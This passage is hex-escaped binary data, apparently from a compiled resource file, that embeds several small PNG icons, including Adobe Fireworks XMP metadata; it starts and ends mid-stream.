\x9e\xd0\xdc\xd4\x68\x7a\xd3\x28\xc9\xad\x78\xeb\x3c\x24\xc2\x10\ \x05\x1d\x42\xbd\x15\x42\xd8\xc2\x24\xc1\x6d\xbf\x93\xfa\x90\x06\ \xff\xd4\xa9\xcf\xc2\xf2\x7b\x9a\x01\xa0\x74\xeb\x7f\x29\xda\xaf\ \xce\x11\x38\xe7\xbd\x00\x2b\x25\xc9\x75\xf0\x9d\x03\x36\x59\x59\ \xb5\x9a\x2e\x86\x77\x34\x71\xbf\xdc\x81\x6e\xb3\xad\xb0\xa8\xd8\ \x15\xce\xfb\x25\x6a\x16\x05\x4c\xf9\xab\x5f\xaa\x19\x41\xb3\xf2\ \x7e\x72\x8a\x9a\x07\x30\xc0\x97\x8e\x15\x65\xf8\x05\xa7\x88\x0a\ \x46\xee\xf5\xd3\x4e\xac\x45\xc5\x25\x4d\x2c\xec\xc3\xd7\x3e\xff\ \xfc\xf4\x88\xbe\x1f\x31\x1f\x40\x52\x17\x2c\x78\xe6\x07\xa4\xc1\ \x92\xf7\xca\x3b\x4d\xd8\x42\x3b\x08\x7b\x3e\xd2\x1b\x65\xd8\x27\ \x17\x16\x35\x0d\xde\x29\x3c\x7c\x0c\xa0\xd7\x8e\xba\xf4\x20\xe9\ \xf4\x40\x33\x82\x4a\x19\x60\x85\xaf\x1c\xca\xfa\x7e\x3d\xdd\xec\ \xd0\xce\xe3\x1a\xcf\x54\x66\x82\xc7\x77\xc3\xf4\x83\xbd\xa0\x60\ \x72\x1d\x7f\x9d\x97\xa9\x53\x4b\xa3\xd7\x04\xe4\x6f\xfe\x17\x30\ \xa4\x4e\x50\x10\x65\x52\xee\x97\xab\x4b\x52\x33\x77\x3a\xfd\x60\ \x16\x1b\xa5\xed\xef\xd6\x57\x81\xd7\x7c\x41\xa2\x9b\x02\xdf\xfe\ \xd7\xd9\xf3\xf3\xf3\xeb\x86\x7b\x9f\x25\x80\x50\x2e\x5d\xfa\x42\ \x53\x13\xa0\x09\x00\xf2\x5e\xfc\x57\xaf\x81\x37\x0d\x3b\x07\xe0\ \xf9\x1d\x64\x85\xf6\x1d\xdf\xac\xc2\xef\xd7\xde\xcf\xa7\x48\x38\ \x9b\x0f\x60\xcf\x2f\x28\xa8\x0b\xf4\x39\xc5\x17\x50\x56\x63\xb7\ \xb4\x34\x47\x17\x00\x72\x36\xfd\x0c\x74\x0f\x00\x80\x67\x37\x31\ \x35\x4c\x74\xed\xaa\x4a\x68\x26\xf0\xeb\x77\x7b\x6e\x5e\x7e\xdd\ \xfd\x3e\xe7\xb9\x5b\xb8\xba\xfc\xeb\xca\x95\x96\xe8\x00\x40\xe6\ \x77\x7f\xaa\xdc\xc5\xca\xcb\xeb\xf7\x69\x98\xe4\xe6\x5e\xa2\x32\ \x4d\x86\x00\xb8\xb1\xfb\xcf\xd9\x4b\xe3\xc6\x8d\x2b\xc3\x17\x1b\ \xbc\x43\xc4\x78\x05\x82\x7f\x3f\xab\xcf\x3b\xf0\x74\xad\xb9\xb9\ \x79\x4d\x23\xfd\x3e\xcb\xa6\xe2\x1f\x31\x41\xeb\x97\x5f\x86\x0c\ \x00\xa3\x16\x27\x26\x2b\x48\xe2\x88\x1a\xf2\x3e\x1f\xd2\x9b\x3b\ \xaa\x7c\xde\xeb\xe9\xe9\x69\x42\x10\x58\xf0\x23\xf5\xf1\x9f\x2c\ \xf2\xdd\x55\x0d\x1f\x51\x58\x6c\xcb\xce\xce\x6d\x1e\xc9\x22\x97\ \x21\x77\x0b\xc7\xe7\xe8\x2f\x40\x6b\x6b\x6b\x64\x13\x41\x12\xad\ \x4c\xa1\x11\xbe\xd7\xe7\x7d\x9e\xc4\xf5\x4c\x9b\xdb\x7f\xfc\xc2\ \x7d\xbf\x8f\x20\x68\x36\x99\x4c\x56\xfc\xac\x03\xd8\x24\x92\x0c\ \xf1\xe4\x1b\x04\xd0\x4c\x4a\x91\x3b\xb2\x73\x72\x5c\xa3\xbe\xac\ \x4b\xe7\xe9\x18\xd6\xd7\xc8\x1e\x70\xfd\xfa\xb5\x08\x02\x00\x94\ \x8b\x15\x74\x7c\x95\x30\xb6\xab\xe3\xc7\xdf\x1e\xd5\x31\xbe\xf6\ \xec\xf3\xae\x94\x94\x94\x2d\xbf\xa8\xdb\x4b\xe6\xa0\x36\x9e\xb2\ \x86\x7e\x00\xa0\x59\x3d\x7b\x66\x56\xd6\x7e\x1f\x6d\x0e\xe2\x78\ \xde\x2b\x82\x72\x72\x72\x22\x13\x06\xa6\x55\xfd\xc8\x63\xf3\x69\ \x75\xca\x9d\xbd\x9b\x83\x3a\xd6\x37\xab\xec\xec\xb6\xf3\x24\xbf\ \xf8\x79\x2d\xa5\x12\x6b\xa8\xa3\x62\x99\x09\x86\xe9\x57\x02\x76\ \x75\x66\x66\x96\x4b\x1b\x53\xe2\xbd\x14\x4f\x86\xdf\x5f\xbf\x1e\ \x01\x06\xc0\x36\x74\xee\x7d\x31\xf4\xce\x62\x19\x44\x05\xd1\xdf\ \xb2\xff\x19\x75\xd0\x9f\xd6\xed\xfd\x19\x75\x18\x99\x05\x6b\x8c\ \x6b\x3e\xb1\x9a\x23\x23\x23\xb3\x31\x58\xad\x1f\x91\x4f\x10\xc9\ \x44\x50\xa8\xf2\xfc\xd7\xbf\x01\x46\x63\x92\xcf\x71\xf9\x05\x0f\ \x6f\xbe\xf9\xef\x55\xea\x32\xb3\x92\x58\x60\x02\xaf\xfe\xbc\x8c\ \x8d\x75\x4c\x9c\x38\xb1\x6e\x24\x26\x1d\x46\x79\x5e\xfe\x79\x84\ \x9b\x37\x6e\x44\xc6\x07\xd0\xcc\x41\xf6\x8f\x1e\xf0\xef\xdf\x7e\ \xce\xfa\x8e\xfe\xd5\x19\x8c\x46\x02\x42\x75\xb4\x47\x0b\xb4\x6b\ \x0a\x0e\x66\xcd\xc4\xf4\xf4\x3a\x0e\x64\xba\xb1\x56\x99\xc5\x02\ \x0f\x4f\x99\xc2\x3e\x73\xe9\x8b\x2f\xa0\xc9\xe9\x84\x7b\xe4\x38\ \x07\xb9\x76\x52\xab\xcd\xb9\xa2\x82\x01\xfe\xf8\xd9\xe7\x7d\x8e\ \xf7\x9f\xfb\xfe\x23\xe0\x67\x0d\x06\x43\xb9\xea\x1f\xd8\xa3\x6c\ \xec\xc9\x64\xd5\x9a\xcd\xe9\x8d\xde\x03\x43\x17\x88\xac\x5a\xb3\ \x06\xb2\xb3\x73\x7c\x14\x9d\x6e\xb4\xfd\xeb\xb7\xf6\x43\x7f\xff\ \x3d\x1f\x2e\xd0\x05\xc9\x04\xb7\x6e\xb5\xc5\x2e\x00\x82\x11\x04\ \x02\x39\x8b\x36\x6c\xbf\x8d\xea\x08\x35\xa3\x1e\xfb\x81\x72\x18\ \xf5\x13\x26\x98\x5d\xbe\x1a\x29\xb3\xc1\x5f\xb9\x7a\x0d\xa0\xfd\ \xf7\x5c\xde\xc6\xfb\x8d\x6c\x37\x0d\xda\x81\xb7\xde\x62\x17\xbc\ \x04\xdb\xaf\xfc\xf7\x6e\xdf\x6e\x4f\x2c\x00\x78\x8b\x5e\xaf\x37\ \xab\xce\x22\xdd\xcb\xd8\x1a\x46\x33\xe1\xc4\xf3\x6e\x50\x1d\xbb\ \x86\xf1\x13\x26\xb8\x02\x52\x32\x56\xe5\x56\x2b\x14\x15\x97\x28\ \xb6\x56\xbd\x3a\x88\xef\xa5\xc4\x3f\x77\xe3\xc6\xef\xe1\xbd\x43\ \x87\xd8\x0a\x2a\x6f\xa7\x60\xa4\xfd\xcb\x8f\x43\x77\x6e\x4b\x58\ \x00\x04\x68\x5f\xb9\x0a\x84\x12\xb5\x4e\x1f\x05\x30\x9c\x6a\xcc\ \xee\x04\x65\x13\x46\x1a\xf8\xc6\xb4\xb4\xb4\x07\xdb\x64\x2f\xbf\ \xa6\xab\xab\x13\xbe\xb3\x61\x13\x7b\x2f\x10\x00\x68\x96\xef\x76\ \x7b\x3b\xbc\xf7\xee\x21\x2f\x73\x30\x7a\x00\xdc\xb9\x73\x67\x6c\ \x01\x20\x24\x3e\x44\x00\x40\x00\x40\x00\x40\x00\x40\x88\x00\x80\ \x10\x01\x00\x21\x02\x00\x42\x04\x00\x84\x08\x00\x08\x11\x00\x10\ \x22\x00\x20\x44\x00\x40\x88\x00\x80\x10\x01\x00\x21\x71\x2c\xff\ \x2f\xc0\x00\xcc\x82\x23\x09\xe2\xf3\x0c\x4c\x00\x00\x00\x00\x49\ \x45\x4e\x44\xae\x42\x60\x82\ \x00\x00\x05\xbd\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x26\x00\x00\x00\x30\x08\x06\x00\x00\x00\x7d\xb2\x08\x28\ \x00\x00\x00\x04\x73\x42\x49\x54\x08\x08\x08\x08\x7c\x08\x64\x88\ \x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x12\x00\x00\x0b\x12\ \x01\xd2\xdd\x7e\xfc\x00\x00\x00\x18\x74\x45\x58\x74\x53\x6f\x66\ \x74\x77\x61\x72\x65\x00\x41\x64\x6f\x62\x65\x20\x46\x69\x72\x65\ \x77\x6f\x72\x6b\x73\x4f\xb3\x1f\x4e\x00\x00\x04\x11\x74\x45\x58\ \x74\x58\x4d\x4c\x3a\x63\x6f\x6d\x2e\x61\x64\x6f\x62\x65\x2e\x78\ \x6d\x70\x00\x3c\x3f\x78\x70\x61\x63\x6b\x65\x74\x20\x62\x65\x67\ \x69\x6e\x3d\x22\x20\x20\x20\x22\x20\x69\x64\x3d\x22\x57\x35\x4d\ \x30\x4d\x70\x43\x65\x68\x69\x48\x7a\x72\x65\x53\x7a\x4e\x54\x63\ \x7a\x6b\x63\x39\x64\x22\x3f\x3e\x0a\x3c\x78\x3a\x78\x6d\x70\x6d\ \x65\x74\x61\x20\x78\x6d\x6c\x6e\x73\x3a\x78\x3d\x22\x61\x64\x6f\ \x62\x65\x3a\x6e\x73\x3a\x6d\x65\x74\x61\x2f\x22\x20\x78\x3a\x78\ \x6d\x70\x74\x6b\x3d\x22\x41\x64\x6f\x62\x65\x20\x58\x4d\x50\x20\ \x43\x6f\x72\x65\x20\x34\x2e\x31\x2d\x63\x30\x33\x34\x20\x34\x36\ \x2e\x32\x37\x32\x39\x37\x36\x2c\x20\x53\x61\x74\x20\x4a\x61\x6e\ \x20\x32\x37\x20\x32\x30\x30\x37\x20\x32\x32\x3a\x33\x37\x3a\x33\ \x37\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3e\x0a\x20\x20\x20\x3c\ \x72\x64\x66\x3a\x52\x44\x46\x20\x78\x6d\x6c\x6e\x73\x3a\x72\x64\ \x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\ \x2e\x6f\x72\x67\x2f\x31\x39\x39\x39\x2f\x30\x32\x2f\x32\x32\x2d\ \x72\x64\x66\x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\x73\x23\x22\x3e\ \x0a\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x44\x65\x73\x63\ \x72\x69\x70\x74\x69\x6f\x6e\x20\x72\x64\x66\x3a\x61\x62\x6f\x75\ \x74\x3d\x22\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x78\x6d\x6c\x6e\x73\x3a\x78\x61\x70\x3d\x22\x68\x74\x74\x70\ \x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\ \x78\x61\x70\x2f\x31\x2e\x30\x2f\x22\x3e\x0a\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x3c\x78\x61\x70\x3a\x43\x72\x65\x61\x74\x6f\x72\ \x54\x6f\x6f\x6c\x3e\x41\x64\x6f\x62\x65\x20\x46\x69\x72\x65\x77\ \x6f\x72\x6b\x73\x20\x43\x53\x33\x3c\x2f\x78\x61\x70\x3a\x43\x72\ \x65\x61\x74\x6f\x72\x54\x6f\x6f\x6c\x3e\x0a\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x3c\x78\x61\x70\x3a\x43\x72\x65\x61\x74\x65\x44\ \x61\x74\x65\x3e\x32\x30\x31\x30\x2d\x31\x31\x2d\x31\x38\x54\x32\ \x31\x3a\x33\x31\x3a\x33\x38\x5a\x3c\x2f\x78\x61\x70\x3a\x43\x72\ \x65\x61\x74\x65\x44\x61\x74\x65\x3e\x0a\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x3c\x78\x61\x70\x3a\x4d\x6f\x64\x69\x66\x79\x44\x61\ \x74\x65\x3e\x32\x30\x31\x30\x2d\x31\x31\x2d\x31\x38\x54\x32\x32\ \x3a\x30\x39\x3a\x34\x30\x5a\x3c\x2f\x78\x61\x70\x3a\x4d\x6f\x64\ \x69\x66\x79\x44\x61\x74\x65\x3e\x0a\x20\x20\x20\x20\x20\x20\x3c\ \x2f\x72\x64\x66\x3a\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\ \x3e\x0a\x20\x20\x20\x20\x20\x20\x3c\x72\x64\x66\x3a\x44\x65\x73\ \x63\x72\x69\x70\x74\x69\x6f\x6e\x20\x72\x64\x66\x3a\x61\x62\x6f\ \x75\x74\x3d\x22\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x78\x6d\x6c\x6e\x73\x3a\x64\x63\x3d\x22\x68\x74\x74\x70\ \x3a\x2f\x2f\x70\x75\x72\x6c\x2e\x6f\x72\x67\x2f\x64\x63\x2f\x65\ \x6c\x65\x6d\x65\x6e\x74\x73\x2f\x31\x2e\x31\x2f\x22\x3e\x0a\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x66\x6f\x72\x6d\ \x61\x74\x3e\x69\x6d\x61\x67\x65\x2f\x70\x6e\x67\x3c\x2f\x64\x63\ \x3a\x66\x6f\x72\x6d\x61\x74\x3e\x0a\x20\x20\x20\x20\x20\x20\x3c\ \x2f\x72\x64\x66\x3a\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\ \x3e\x0a\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x52\x44\x46\x3e\x0a\ \x3c\x2f\x78\x3a\x78\x6d\x70\x6d\x65\x74\x61\x3e\x0a\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ \x20\x20\xd7\xc6\x55\x1a\x00\x00\x01\x1e\x49\x44\x41\x54\x58\x85\ \xed\xd9\x31\x8a\xc2\x40\x14\x80\xe1\xdf\x14\xb6\x0b\x56\x81\x1c\ \x40\xf0\x00\xdb\xee\x19\x84\x2d\xf6\x40\x5b\xcb\x82\xe0\x19\x04\ \x2b\x2b\x0b\x61\xb1\xf0\x0a\xde\x40\xb0\x12\x56\x10\x64\x2b\x2d\ \x12\x45\x71\x0c\x79\x93\x97\xc9\x14\xef\x87\xd7\x3e\x3f\xc4\x61\ \x24\x81\xbc\x0c\x98\x02\x5b\xe0\xac\x3c\x5b\x60\x0e\x7c\x20\xac\ \x0f\xec\x1b\x00\xb9\xe6\x5b\x02\x9b\x05\x42\x5d\xe7\xa7\x2a\xec\ \x2f\x30\xac\x32\x2e\x34\xea\x3a\xe3\x50\xb0\x15\xf0\x5e\xcc\x4a\ \x03\xa7\x05\x4b\xef\x76\xa6\x1a\xdf\x9c\x16\xac\xce\xde\x49\xac\ \x30\x27\x2e\x16\xd8\x13\x2e\x26\xd8\xed\x37\xd7\x79\xb1\xd4\xa7\ \x8e\x03\xe6\xdb\x57\xac\xb0\x75\xac\xb0\x53\x93\xb0\x7f\xa0\xeb\ \xbb\x2c\xa9\x67\x29\x6d\x54\x77\x81\xd6\xa9\x7c\xf3\xf8\xec\xb2\ \xeb\x4b\x0d\x36\xf4\x80\xc1\xeb\xeb\x4b\x0d\xb6\x01\x7a\x1e\xb0\ \xac\x69\xd8\x99\xfc\x6f\xf4\x27\x8f\x17\x7a\x59\x29\xb0\x70\xed\ \xd2\x3c\x95\xaa\x35\x79\x2a\x6b\x65\x30\x69\x06\x93\x66\x30\x69\ \x06\x93\x66\x30\x69\x06\x93\x66\x30\x69\x06\x93\x66\x30\x69\x06\ \x93\x66\x30\x69\x09\x70\x68\x1b\xe1\xe8\x98\x00\xbf\x6d\x2b\x1c\ \x2d\x01\x06\x84\x7b\xc9\x55\x65\xf6\x85\x09\xc8\x1f\x6c\xcc\x80\ \x5d\x8b\xa0\x5d\x61\xc8\x00\x2e\xe6\xda\xf5\x82\xc5\x8a\x7a\x8a\ \x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\ \x00\x00\x08\x65\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x30\x00\x00\x00\x30\x08\x06\x00\x00\x00\x57\x02\xf9\x87\ \x00\x00\x00\x06\x62\x4b\x47\x44\x00\xff\x00\xff\x00\xff\xa0\xbd\ \xa7\x93\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x00\xc8\x00\x00\ \x00\xc8\x01\x14\xfd\xd7\x3b\x00\x00\x00\x07\x74\x49\x4d\x45\x07\ \xe0\x0c\x05\x11\x36\x3b\x0d\x4d\x1d\x07\x00\x00\x07\xf2\x49\x44\ \x41\x54\x68\xde\xed\x58\x6b\x6c\x54\xc7\x19\x3d\x73\xef\xde\x7b\ \xf7\xe1\xf5\x0b\xaf\xa9\x6d\xbc\x6b\x83\x1b\x28\x18\xc2\x9b\x42\ \x11\x98\x00\x01\xf3\x52\x49\x94\xb6\x52\xa5\xf6\x47\xab\xa6\x6a\ \xab\x2a\xad\xa0\xc1\x80\x5a\xab\x55\x8d\x89\xfa\x27\x51\xd5\x46\ \x51\x5b\xa9\x0f\xa9\xad\x90\xa8\x10\x60\x63\x84\x1b\x47\x90\x40\ \x45\xb0\x13\x4a\x0c\x36\x8b\xed\xdd\x18\x63\xaf\xf1\x7a\xdf\x77\ \xef\x63\x66\xfa\x63\xd7\xcf\x60\x30\x66\x49\x13\xc9\x47\x1a\xcd\ \xd5\xbd\x33\x73\xe7\x7c\xf3\x7d\xdf\x9c\x19\x60\x16\xb3\x98\xc5\ \x2c\x66\xf1\x14\x40\x3e\x2f\x13\xb5\x64\x6a\x20\xcf\xde\x5f\x95\ \x0b\xd4\xb2\x15\xc0\x26\x08\x64\x3d\x38\x91\x38\x38\x05\x81\x0a\ \x86\x4b\x20\x68\x91\x05\xcb\x85\xce\xd3\x07\xee\x7f\x1a\x96\x1e\ \x79\xcf\x1f\x35\x80\x7b\x47\xfd\x12\xd1\x82\x5a\x10\xec\x9f\x3b\ \x27\x47\x2b\x29\xca\xb3\xe6\x38\x1d\x82\xc3\x2a\x43\x92\x04\x50\ \x93\xc1\x7f\x2f\x48\x7b\x7a\x07\xf5\x70\x24\x61\xe1\x1c\x6f\x89\ \x9c\xd4\x7b\x1b\x5f\xed\x7d\x5a\x04\xc8\xb8\xf7\x6c\xca\x9e\xb5\ \xb5\x42\xd9\x55\xa5\x0e\xc0\x41\x77\xb1\x2b\xb4\x7e\x65\x45\x96\ \x7b\x6e\xae\x2c\x08\x04\x84\x00\x94\x71\x70\x9e\x2a\x00\x01\x01\ \x30\x10\x8c\xe2\x66\x67\xaf\xd1\xd6\xee\x27\x94\xf1\xa3\x3d\x8d\ \x87\x5e\x03\x08\x7f\x1a\x04\x84\xf4\x33\x7d\x50\xa7\xf9\xdb\xea\ \x73\x98\x8c\xbf\xcf\xcd\x77\x7c\x79\x47\xd5\xb2\x9e\xa2\x82\xdc\ \x02\x4d\x37\x5d\x0c\xb0\x0a\x24\x35\x5d\x0e\x0e\xc6\x38\xe8\x48\ \xa1\x0c\x92\x45\x84\x4d\x11\x11\x0c\xc7\x71\xae\xe5\x86\xde\x3f\ \x14\x7e\xc7\x30\xe5\x6f\xf4\x36\xfd\x34\x98\x69\x02\x62\xfa\xd9\ \x9c\xfc\x71\xe1\xbe\xe3\x4e\x8d\xf2\xcb\x25\xae\x1c\xf1\xbb\x2f\ \x6d\xbc\x43\xc1\xe7\x24\x35\x56\x68\x52\x56\xc8\x18\xcb\x22\x84\ \xa4\x2d\x0f\x30\x3e\x89\x04\x63\xa0\x8c\x43\x91\x44\xd8\x64\x01\ \xe7\x2f\x7e\x64\x74\xf6\xf4\x77\x68\x82\xb6\xae\xef\x74\x6d\x62\ \x26\x04\x84\x87\xb8\xd0\x03\xe3\x23\x49\xf9\x9f\x5c\xb9\x76\x7e\ \xe0\x3b\x5b\x9b\xac\x8a\xa4\x52\xd3\x94\x63\xd1\x98\x73\x28\x18\ \x11\xef\x05\xc2\x50\xd5\x24\xac\x92\x08\x49\x4a\x0d\xcd\x38\x1f\ \x2d\x9c\x03\x9c\x71\xc4\x54\x03\xe1\x84\x89\x3d\x5b\x9e\x95\x96\ \x2f\x9c\xb7\x50\x66\xca\x09\xd4\xd6\x0a\x99\xcc\x42\x64\x5c\x3d\ \xea\xa3\x65\xbb\xeb\x5e\x71\xda\xe5\xcd\xbf\xf8\xfe\xce\xd7\x03\ \xe1\xf8\x92\x8b\x57\xbd\x1b\x3f\xec\xec\x73\x0d\x47\xd4\x0f\xd2\ \xad\x73\x08\x48\x56\xae\xd3\x5a\xb0\x74\x71\x99\xb8\x66\x49\x29\ \xd1\x0d\x01\x51\x55\x07\x63\xa9\xd5\x60\xe9\xb8\x48\x24\x0d\xf4\ \x53\x86\x2d\x1b\x16\x4b\xc1\x88\xba\x15\x57\x83\x47\x7b\x80\x5f\ \x66\xc2\x85\xc4\x34\x31\x02\x40\x1b\x21\x50\xbe\xeb\x37\x1e\x59\ \xe6\xad\x3f\xff\xde\xf6\xd7\x3e\xb8\xd5\xb7\xe9\xdc\xe5\x9b\xdb\ \xa2\xaa\x7e\xcc\x34\x94\x37\x26\xfb\xb0\xa7\xba\xbe\x5a\x10\xf0\ \x56\x91\x2b\xdb\xf5\xd5\xed\x2b\x15\x08\x22\xa2\x71\x1d\x34\x4d\ \x80\x32\x06\x46\x39\x4c\xc6\xe1\xb4\x4b\xb0\x10\x8e\xbf\x9c\x7c\ \x4f\xa3\xa6\x59\xee\x6b\x3a\x72\xef\x71\x08\x88\x53\xb8\x8f\x98\ \xae\xe9\x08\x81\x9c\x67\xb6\xfc\x68\x5d\xe5\xbc\xf0\x60\x28\x56\ \xd6\x70\xf1\xe6\xea\xa4\x41\xab\x7a\xce\xd4\xfc\x33\x72\xa7\x49\ \x9d\x3c\x68\xd8\x7b\xc1\x5b\x50\xb1\xef\x77\xe1\x44\xc4\xea\xf5\ \x05\xd6\xae\xf8\x52\xa9\xc8\x01\x68\x06\x05\x63\x6c\x74\x25\x28\ \xe7\x50\x35\x13\xf3\x5c\xd9\x88\x25\x92\x2c\x10\x8c\xb9\x42\xb7\ \x2f\x9c\xca\x24\x01\x06\x80\x57\x54\xd7\xb9\xb2\x1c\xca\xcb\x0b\ \x8a\x0b\x62\xe7\xaf\x78\x57\x73\x46\x77\x74\x9f\xad\x69\x7f\xd8\ \xc0\x41\x6f\x23\x0d\xdd\x6e\x6e\xb6\x79\xaa\xaa\x38\xe7\xa5\x15\ \xee\x42\x31\x12\xd7\x52\xab\x90\x0e\xea\x11\xb7\xa2\x9c\xa1\xa2\ \xa4\x40\xbc\xf6\x91\x6f\x59\xbe\x67\xdb\xeb\xc3\x5d\x17\xb4\x4c\ \x04\xf1\xa8\x8b\x99\x44\xd8\x50\x31\x6f\x4e\xff\xdb\xad\x77\xdc\ \x8c\xe2\x5b\x5d\x0d\x87\x3b\xa7\xfb\x03\x83\x98\xdf\x6e\x6d\xf7\ \x1b\x5a\x52\x83\x2c\x89\x63\xb1\x90\x5e\x05\xc6\x38\xee\x87\x54\ \x64\x65\x59\xb1\xa8\xbc\xd0\x60\x32\xdf\xf5\xa4\x59\x68\x62\x7c\ \x54\xd5\x5a\x38\xe1\x25\xa1\x58\x92\x99\x06\xfd\x47\x4f\xe3\xab\ \x57\x1e\xe7\x07\xbd\x67\x8e\xde\x35\x4d\x76\xf8\x46\xe7\xc7\x49\ \xa7\x4d\x1e\x4b\xa9\x7c\x8c\x84\x49\x53\x24\x9e\x29\x2f\x92\x41\ \xc8\xd7\x33\x41\x60\x34\xb8\x4b\xf2\xe4\x9c\x3c\xa7\x35\xe1\xbf\ \x37\xdc\x23\x72\xc7\x5f\x67\x92\xea\xb8\x48\x2f\x76\xf7\x0e\x49\ \x36\xc5\x32\x4a\x80\x4d\x72\x25\x55\x37\x51\x90\xef\x14\x40\xb0\ \xf1\x49\xd3\xe8\x84\xcc\x24\x50\x51\x1e\x0e\xa9\x01\x58\xd0\xe1\ \x6b\xfc\xb1\x36\x13\x02\x49\x4d\xee\x08\xc5\x92\x02\x38\x1b\xe7\ \xf7\x13\x49\x24\x35\x13\x45\xf9\x4e\x80\x21\xf7\x49\x57\x80\x8f\ \x8f\x05\x39\x29\x50\x42\xc4\xa0\x41\xf4\x0f\x67\xba\xdd\x0f\x9c\ \x3f\x18\x4f\x24\xf5\x21\xd3\xa4\x10\x08\x52\x69\x34\x9d\x8d\x52\ \xa9\x95\x21\xa1\x1b\xb0\x59\x25\x58\x2c\x82\xe8\xde\x7d\x2c\x2f\ \x63\x72\x9a\x88\x4a\x58\xa4\x91\xbb\x7d\x8d\x53\x6d\xf5\x9c\x94\ \xed\x3a\xf6\x7b\x10\xb2\x9d\x40\x10\x41\x98\xf0\x20\xbb\x30\xca\ \x73\x54\x4d\x07\x11\xc8\xe8\x7e\x30\x3e\x90\x13\xaa\x09\x81\x10\ \x64\xdb\xad\x3c\x18\x4d\xdc\x28\xdf\x73\x9c\x3e\xf8\x77\x9c\x73\ \xce\xbd\x16\xae\xed\xf7\x36\xd6\x46\xc8\x14\x3a\x48\x4a\x3f\x1b\ \x00\x8c\xe2\xbd\xb5\xf6\x87\x69\x95\xf9\xdb\xea\x73\xb8\x8c\xff\ \xac\xae\x74\x97\x7f\x71\x41\x31\x11\x00\x89\x08\x04\x84\x10\x08\ \x24\x35\xac\x48\x08\x1c\x36\x19\xbe\xc1\x38\x86\xa3\xc9\x09\x93\ \x1f\xa9\x9f\x5b\xe5\x86\xa1\x1b\x00\xe7\x00\x49\x55\xa9\x92\x6a\ \xd3\x37\x30\x8c\x53\xcd\xff\xd5\x4c\x4a\xd7\xfb\x1a\x6b\xda\xa6\ \xda\x89\x85\xf4\xca\x88\x69\x31\x67\x4c\x96\x14\x0f\x42\xe9\xbe\ \xe3\xc5\x0a\xc7\xb5\x9d\x9b\x2a\xf3\xe6\x16\xe6\x2b\x81\x61\x35\ \x25\xa5\xd3\x3d\x79\xca\x7a\x48\xe8\x14\xba\x61\x82\x31\x4c\x20\ \xc0\x19\x47\xb6\x43\x06\xd2\x62\x90\x31\x8c\x7e\x5b\xe4\xc9\x83\ \x5d\x12\xf0\xe7\x93\xef\x9a\x09\x55\xdb\xdf\xd5\x70\xf8\xcc\xa3\ \xd4\xa8\x65\xdc\x4e\x4c\xa7\xeb\x8f\x65\x7b\xeb\x16\x29\x16\xe9\ \xea\x9e\xaa\xe5\x0e\xbb\xc3\x46\xfc\x81\xd8\xe8\x99\x80\x73\xa4\ \x25\xf6\x98\x45\x39\xc7\x84\x15\x18\x09\x6c\x4a\xd9\x68\x76\x2a\ \x2b\xce\xc1\xf2\x05\x73\xf0\xb7\x53\x97\x8d\xc0\x50\xf4\x40\x4f\ \xc3\xe1\x37\xa6\x7b\xa0\x11\xd2\x56\xa7\x8f\x13\xb0\x9e\x3d\x75\ \xeb\xb3\x6d\x4a\xcb\xde\xe7\x56\xc8\x5c\xb0\xc0\x37\x10\x05\x4f\ \x99\x7f\x54\x62\x8f\xd5\x29\x42\x94\x31\x68\x3a\x45\xd2\xa0\xd0\ 